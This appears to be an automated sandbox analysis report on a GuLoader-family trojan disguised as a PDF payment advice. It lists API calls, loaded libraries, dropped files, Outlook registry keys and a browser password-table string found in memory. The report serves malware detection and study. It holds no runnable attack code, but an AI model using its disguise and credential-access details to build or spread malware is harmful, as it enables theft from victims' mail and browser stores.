Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37528650	4_2_37528650
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375296C8	4_2_375296C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37529D10	4_2_37529D10
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752BDF0	4_2_3752BDF0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752A360	4_2_3752A360
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752BA97	4_2_3752BA97
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752A9B0	4_2_3752A9B0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37523F70	4_2_37523F70
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37523F60	4_2_37523F60
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525F10	4_2_37525F10
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525F01	4_2_37525F01
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375267C0	4_2_375267C0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752AFF7	4_2_3752AFF7
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752AFF8	4_2_3752AFF8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375267B0	4_2_375267B0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37520FA8	4_2_37520FA8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525650	4_2_37525650
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37528640	4_2_37528640
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525660	4_2_37525660
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37522E10	4_2_37522E10
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375236C0	4_2_375236C0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375236B0	4_2_375236B0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375296B8	4_2_375296B8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37522550	4_2_37522550
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37522560	4_2_37522560
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37529D00	4_2_37529D00
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37524DB0	4_2_37524DB0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37524DA0	4_2_37524DA0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37526C18	4_2_37526C18
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37521400	4_2_37521400
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37526C09	4_2_37526C09
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375274C8	4_2_375274C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37521CB0	4_2_37521CB0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375274B8	4_2_375274B8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37521CA0	4_2_37521CA0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752A352	4_2_3752A352
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37526358	4_2_37526358
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37527B4F	4_2_37527B4F
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37526368	4_2_37526368
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37523B18	4_2_37523B18
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37523B08	4_2_37523B08
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375243C8	4_2_375243C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375243B9	4_2_375243B9
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37523268	4_2_37523268
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525207	4_2_37525207
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525208	4_2_37525208
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525AB8	4_2_37525AB8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37525AA8	4_2_37525AA8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37522108	4_2_37522108
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752F130	4_2_3752F130
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375229B8	4_2_375229B8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3752A9A0	4_2_3752A9A0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_375229A8	4_2_375229A8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37521858	4_2_37521858
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37520040	4_2_37520040
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37527070	4_2_37527070
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37527061	4_2_37527061
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37524810	4_2_37524810
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37524820	4_2_37524820
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37A5E7C8	4_2_37A5E7C8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37A5D6C1	4_2_37A5D6C1
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37A58328	4_2_37A58328

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: String function: 00402BBF appears 51 times

Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.00000000040A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PAYMENT ADVICE TT07180016-24_pdf.exe
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958904135.00000000345B7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PAYMENT ADVICE TT07180016-24_pdf.exe

Source: PAYMENT ADVICE TT07180016-24_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032A0

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsxC65D.tmp

Jump to behavior

Source: PAYMENT ADVICE TT07180016-24_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034885000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034875000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034893000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PAYMENT ADVICE TT07180016-24_pdf.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

File read: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process created: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process created: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PAYMENT ADVICE TT07180016-24_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2032752399.00000000034A1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2032752399.0000000002900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2933469686.00000000016C0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\tropaeola.Tel, type: DROPPED

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37478758 push ebx; ret	4_2_3747875C
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747845D push esi; ret	4_2_37478461
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37478C68 push edx; ret	4_2_37478C69
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37478AB4 push esi; ret	4_2_37478AB8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37478917 push ecx; ret	4_2_3747891B
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_374781E1 push edi; ret	4_2_374781E2
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_374781BE push FFFFFF98h; iretd	4_2_374781C0

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
